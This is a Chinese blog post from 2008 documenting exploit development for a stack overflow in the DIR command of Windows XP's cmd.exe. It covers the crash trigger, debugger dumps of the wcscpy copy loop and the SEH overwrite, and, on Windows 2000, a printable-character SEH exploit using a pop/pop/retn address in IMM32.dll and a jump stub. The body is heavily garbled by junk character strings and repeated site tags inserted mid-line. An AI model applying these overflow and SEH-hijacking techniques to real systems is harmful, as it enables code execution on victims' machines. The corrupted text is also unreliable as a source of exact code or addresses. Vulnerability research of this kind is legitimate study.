小心我“DIR”溢出你

上一篇 / 下一篇  2008-08-14 07:27:44

IXPUB技术博客 ~^$H9U u

好吧,我承认我昨天是在弄DIR溢出

C9E {f8NK8xPCZ7x0IXPUB技术博客}iBg1AD

不是sharpxxxxx那个。IXPUB技术博客 D6l-BY2Y

^7kpc%}(\7^&l0dir溢出其实有好几个,有的和cmd有关,有的需要特定环境。IXPUB技术博客0{j2Wcd(O

IXPUB技术博客"_"CR;i\#U

我今天整的这个又是一个YY漏洞。

W q1{/Z`wZAF0IXPUB技术博客[["_&k2OS,D.V N

微软一直没有补,因为在微软看来,这个应该不属于漏洞吧,溢出了也提不了权限,顶多算一个bug。

:F0?7BLDC,Q@0IXPUB技术博客-q#[,Pz f9T

所以很多牛人都不整这个bug,而最近dummy爆了一个暴风影音的0day,也是个unicode的,我只在IE里触发了,不知道在perl脚本下咋触发,后来想起了这个dir漏洞。IXPUB技术博客DI)R{fI:|#R

~&DuUdB}NL0我最喜欢做的事情就是整些没用的,仅仅用来YY的东西,时不时自虐一下,所以今天看看这个dir溢出。IXPUB技术博客GS\ a6@i,Xk
IXPUB技术博客8@W v)AY6_0p+g&U8_
在我的xp sp2 cn上,cmd版本IXPUB技术博客 r8I(L)XkJ2\

d?0QexXO-A i!M0MicrosoftWindowsXP [版本 5.1.2600]
+Hi P/H F0(C) 版权所有 1985-2001 Microsoft Corp.IXPUB技术博客GGq;{q0R

%q+l`X;z#j0首先,触发漏洞:

C9Lf8M-o'c["L0

h.I`:E,OD5JMP1[0D:>dir \\?\AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA......(超长)IXPUB技术博客7};vl3i7sf!| cZ

,W9l^ [d,Z&t;x#|0就溢出了,cmd crash,简单吧IXPUB技术博客jE$`g:qm*^

IXPUB技术博客!AWm k_%H4oFd F

大概200多个A就可以造成溢出。

{K*I^eo0

~ \@ NP7_1T0看看溢出时候的状况:
fr0gH!i0
0WfX,?~[0发现输出的参数: A 经过unicode编码后,一路覆盖到了栈底,异常了~~~IXPUB技术博客TK X"Ln/S)x;XB%HW`

IXPUB技术博客Mw G]T/o9a ZK

异常时寄存器如下:
0l9F\;B,F#\B0
Y:b^%apV'qnz0停在这里:IXPUB技术博客t8X+P+iz@X.O,d
77C17EA2    66:8901         MOV WORD PTR DS:[ECX],AX     ; //===> EIP指向这里
b(j0o#lKeA,]/b077C17EA5    41              INC ECXIXPUB技术博客8P%}h)w$T[~ Q
77C17EA6    41              INC ECXIXPUB技术博客 nH3qeZ$w0h

IXPUB技术博客0`n4IR:E

SEH也被覆盖了:IXPUB技术博客Xk+n5D}D!f/nX
0013FF30   00410041 A.A.IXPUB技术博客da3kM+wL
0013FF34   00410041 A.A. 指向下一个 SEH 记录的指针
"~hi[/X00013FF38   00410041 A.A. SE处理程序IXPUB技术博客+QG"OU [%\R"t
0013FF3C   00410041 A.A.IXPUB技术博客9x+r$K\6f
0013FF40   00410041 A.A.IXPUB技术博客RKL s)G}$r
0013FF44   00410041 A.A.

k9X? V(c0IXPUB技术博客|+Uy$BW/w

其实栈溢出也好利用,要么覆盖返回地址,要么覆盖seh。IXPUB技术博客$T[)SS*Nh+lV)F

`9F7w,E[)d;N0第二次找到漏洞原因,重新设定好断点,触发之:
5lo+I"HT&u%Td8w0IXPUB技术博客*Q0Bl#c'_pc#k x
溢出就发生在这个该死的 wcscpy 里IXPUB技术博客 IG4?U6w8m

1~d?l@q0实际上是wcscpy( [ebp-210h], [ebp-41C] );IXPUB技术博客dy+xg [F(kn7e

IXPUB技术博客t l%D"?F E a E\

跟进去后:IXPUB技术博客;L:h&Z.W/O6[#Z
77C17E94 > 8BFF            MOV EDI,EDIIXPUB技术博客Pq:XS1s'Y
77C17E96    55           PUSH EBP
"r;o3qQad sI?077C17E97    8BEC        MOV EBP,ESP
E9?Qag^077C17E99    8B4D 08        MOV ECX,DWORD PTR SS:[EBP+8]IXPUB技术博客o(r?egA T
77C17E9C    8B55 0C       MOV EDX,DWORD PTR SS:[EBP+C]
C [T WAEsV077C17E9F    66:8B02        MOV AX,WORD PTR DS:[EDX]
#^ J[-EQ&J,P*]077C17EA2    66:8901        MOV WORD PTR DS:[ECX],AX
C7b\M7k077C17EA5    41               INC ECX
P(k-Mwz I077C17EA6    41             INC ECX
:f+u%Q+Owg \Q077C17EA7    42           INC EDX
%o"`.K7pl+j i^077C17EA8    42             INC EDX
n6kL6SC)c077C17EA9    66:85C0       TEST AX,AX
~D)eY9{3HBa077C17EAC ^ 75 F1        JNZ SHORT msvcrt.77C17E9F
0E0Bx6n oI3q.ZY077C17EAE    8B45 08       MOV EAX,DWORD PTR SS:[EBP+8]
XIZxgDp2DUp:_*C077C17EB1    5D                POP EBP
{ohp-In$`qq@6w077C17EB2    C3                RETNIXPUB技术博客j}Py(c*Sm:Z$jn8u

IXPUB技术博客D(Nb(`@4a_o"hWg

跟完之后才发现一个见鬼的地方,由于src和dest相距不远,所以在拷贝的过程中,dest把src的末尾的0字节给覆盖掉啦~~这样这个拷贝就因为找不到src的0字节而无法结束,所以会一直拷贝下去。IXPUB技术博客6d4E/Us,iRVA

rA-y+CMe0}c3\0最后的结果就是在栈里有了若干个拷贝的镜像,最后因为一路覆盖到了栈底,所以异常了!
'P4Q(G4C)EQU0
TJt\d3V0注意看 \.\.?.\. 是分隔不同拷贝的地方IXPUB技术博客^ RJF#t+]fl

[+])V']9AKS?XfG0如果这个溢出是发生在堆里,那么就heap spray了,最后会造成内存泄露。IXPUB技术博客a8N!]'z4Nc$j

by(N&E4@aiL0这里是发生在栈里的,那就叫做stack spray吧!IXPUB技术博客R[P bfW.q

IXPUB技术博客 ? j wg"O7}}d5N

由于这里肯定会异常,wcscpy根本就无法正常返回,所以覆盖返回地址控制的方法可以不同考虑了。IXPUB技术博客$Zq FhI:O

?M7qA5Fd0那么正常人都会想到这里覆盖seh利用IXPUB技术博客*wPYE(~Cth7A

IXPUB技术博客E,]"E1Hp#uh

而在这里seh也确实是被我们覆盖掉了。IXPUB技术博客-[^1I!Mg e

LF]Z$|'mE0不过可惜的是,xp sp2已经有了safeseh的保护了。而我们这个漏洞更是可怜的很。
U0KO,v;h9C:P:W0IXPUB技术博客P)tz sNom(z.U:S
可以看到,加载的模块居然没有一个可以利用的~!IXPUB技术博客6k5w2Yx]y?i

HJ1Y1Ir9Fu F0然后诡异的事情发生了,本以为代码页是可以跳转的,结果在这里都不行。IXPUB技术博客o#X(d8T1J"| C

%j.D9p)\e,Y&h0经过测试,唯一能跳转的是内存中属性为 ”RE" 的段,以及cmd.exe自己注册的seh handlerIXPUB技术博客/th(i*js2a#cu8@ z

%jnW.{ H1bC3N`$d*Q0到了这里,基本可以判断在正常情况下这个漏洞在xp sp2下是无法利用的了,当然如果有什么牛人有啥新的利用方法,也请告诉我。

3K-E Eq+D2s:j0

W"|%w"_2s(b^dJ0欲知后事如何,且听下回分解。

wyX _(J L4T.m0IXPUB技术博客e[:rM2F

接着前面来。IXPUB技术博客 Q:B$m0@b3Pj4g

IXPUB技术博客8AmXF5g"pF:[b

在xp sp2 上由于有safeseh所以无法成功利用,那么我们换到win2000。

4Jd2A&TF.G5Z8O0IXPUB技术博客 eN$B,K2Xp o

测试平台:Windows2000 Server SP4 CNIXPUB技术博客;cFK| ke#T
IXPUB技术博客C5D CK"] ~P e
当我信心满满,摩拳擦掌的来到2000平台时,遭受到了一次严重的打击,把我到了~~
1~XrTmvA s0
@[*H9I&l0y0win 2000的默认cmd居然没有这个漏洞!

w#S)A+l:~&fM:x&D9aj0

Aw? Om4J N\p6^-Ea0不过,你不能小看我的无耻。IXPUB技术博客/Z}_3w1fAsP

IXPUB技术博客6Cy+wS+a'mH*Q

是的,为了达到YY强国的目的,为了彻底的强XDIR,我把XP下的cmd.exe拷贝了一份到2000平台,这样就可以正常溢出了。IXPUB技术博客p7sM~+I eC

IXPUB技术博客7IS_a(bHh0nC

不过奇怪的是,banner显示的还是5.0 的版本IXPUB技术博客Z]zZ4i

IXPUB技术博客7V3k+~.})oK

由于摆脱了safeseh的限制,在2000下我们可以任意跳转到喜欢去的地方IXPUB技术博客a'lgd2ir2e

7O `7o*]8l.I(g#jo:U+dK0而且更开心的是,到了2000下,可以直接输入不可见字符了(也许是我土,void牛告诉我cmd里按住ctrl,再从小键盘输入数字就可以打不可见字符,不过我的笔记本没小键盘,无法体验了。),只要是双字节的不可见字符(用UltraEdit,进行unicode的16进制编辑即可),拷贝过来直接贴进去就行了。IXPUB技术博客 `pC*YtW-|*P)c,z)\N!A

Y F'x&}q1uPR0在我系统上,cmd用的是GBK编码
l ji P4@dYQl0
F~%u9wl e0这样的话,包括覆盖SEH、写shellcode在内,都会非常轻松。IXPUB技术博客 S(h;X5]^h7SwT0VH

f};btT0n!t U0但是在开篇我就说了,我今天是来自虐的,所以我准备用纯可见字符获取控制权。

-}Z0EPe r[0

Y|1e%?)g k0为了选用合适的nop,可以用unicode的“q",编码后就是 "7100"

0NlIH5O0

h6w+z} PE$od0翻译成汇编代码就是:IXPUB技术博客/H pi+L5W M.yi
jno 00
(XX:E({;C"?v0也就起到了nop的作用

3p'D `{0B,t!Z0

P4[7HnRB MR`X0而跳转地址,因为是覆盖seh,所以需要 pop/pop/retn 或者是 jmp ebx 类型的。

p%m:Nx^A$Z0

N\sH+p6j CL~0我选择了 IMM32.dll 里的0x75e05db0IXPUB技术博客2YOx9LSFq
75E05DB0    5F              POP EDI                                  ; ntdll.77FBB272
Un}.}!uF075E05DB1    5E              POP ESIIXPUB技术博客o6MtY9Qx)Evz
75E05DB2    C2 0400         RETN 4IXPUB技术博客 ad&H\9D \/Xx%D!w\ N8d

IXPUB技术博客r+ly8O-F@F}

这个地址正好是unicode的汉字: "嶰痠"

H;B+rp@R0IXPUB技术博客v$n]PP-_

最妙的是,这个地址当作指令执行也可以起到nop的效果。IXPUB技术博客3r-|O,z @I

IXPUB技术博客 uk1h c&x/d$q

但是上篇分析了,这个溢出会循环拷贝,会有很多镜像,所以seh后面并没有给我们留太多的空间。

D/rwZ$v1]Y n)J0

w+b;eg B A00012FF34   00710071 q.q. 指向下一个 SEH 记录的指针
&N;eM'[8T(x00012FF38   75E05DB0 癩鄒    SE处理程序IXPUB技术博客X8P'vN*N^

IXPUB技术博客3F+S%In {z

......IXPUB技术博客AM4DC R}Rejm@ E$x

h3D4Jf5K i+b4_ pAW00012FF4C   00710071 q.q.IXPUB技术博客7a&R7p LrB'W_V2N
0012FF50   00710071 q.q.IXPUB技术博客5Nb$gQY;c
0012FF54   00710071 q.q.IXPUB技术博客+y~Cn!b0ns+}(q
0012FF58   00710071 q.q.IXPUB技术博客DjF!\w0E-s-UP
0012FF5C   00710071 q.q.IXPUB技术博客AR+U!{.\$r6|l SJ!VJ
0012FF60   00710071 q.q.IXPUB技术博客2k'\ N xMw*~ e(Y*T
0012FF64   00710071 q.q.IXPUB技术博客FL*i$y!b!{
0012FF68   00710071 q.q.
,C Z:})~X(`s00012FF6C   00710071 q.q.
Dp)k)Pq%GPG00012FF70   00710071 q.q.
^i/A8E2G2H$_n@00012FF74   00710071 q.q.
.i$x.?:YR00012FF78   00710071 q.q.IXPUB技术博客U2G-?:[#V)f |:Q3{
0012FF7C   005C005C \.\.      ==> 下一个拷贝开始IXPUB技术博客y'J.RUV
0012FF80   005C003F ?.\.
IXPUB技术博客 ^5g'Q#F Xwb
0012FF84   00710071 q.q.

,~T yF5ImH0

h0z(bo~u#?O(n0这么一点空间显然不够写太多的东西,所以需要跳到payload的前半部分去执行,以争取更多的写入Shellcode的空间IXPUB技术博客RzM2tl ]+Y*H Te U

+nXt/{K[Lf0由于是在追求可见字符,所以在这段跳转的mini code的要求有点特别。

D z!Ol Q-T5x5W0IXPUB技术博客%wD d['W7p

经过寻找,发现经过了 MOV AL, 5D 改变eax后( 75E05DB0中的B0 5D),

?#S#j Jj!Hkmbf0

rt9h?Z/?0[eax+3]比较符合这个要求,指向的是payload的前部。IXPUB技术博客D8U2B?c$W

d p4R P#n+ZvhmS0所以使用如下的jmp code:
`0k Tk5T$fR8T;|0b.P#]0inc eax
0k[+X R(c_7^0inc eaxIXPUB技术博客VuI n"^
inc eax
6G.Z4c#i`%J8\0call [eax+0x0h]IXPUB技术博客)r r7rP%l C#pK
nopIXPUB技术博客 I N'WFj|.p

IXPUB技术博客GS3y?3r:A$Q

经过一些变换后,变成可见字符,SEH跳转后如下:IXPUB技术博客v Mi(FUR%QE

2@)Z6AbL_@ _0其中ESI里的地址比较无关紧要,所以NOP的工作就交到了ESI的身上

%[)Xh%~f$WIqi0

U}Z0\ o'e*_p0看看栈里的数据:IXPUB技术博客/Cxl%C(b_A[
0012FF34   00710071 q.q. 指向下一个 SEH 记录的指针IXPUB技术博客k7~1N!KD
0012FF38   75E05DB0 癩鄒    SE处理程序
:d6F |FT#b00012FF3C   00460040 @.F.IXPUB技术博客 THx?\
0012FF40   00460040 @.F.
aE@!o|t00012FF44   00460040 @.F.IXPUB技术博客#j oy6q{[0pt0^,l%d
0012FF48   900050FF

TAG: DIR microsoft Microsoft 暴风影音 微软 dir

 

评分:0

我来说两句

显示全部

:loveliness: :handshake :victory: :funk: :time: :kiss: :call: :hug: :lol :'( :Q :L ;P :$ :P :o :@ :D :( :)

日历

« 2009-01-08  
    123
45678910
11121314151617
18192021222324
25262728293031

数据统计

  • 访问量: 66104
  • 日志数: 1214
  • 文件数: 1
  • 建立时间: 2007-08-10
  • 更新时间: 2009-01-07

RSS订阅

Open Toolbar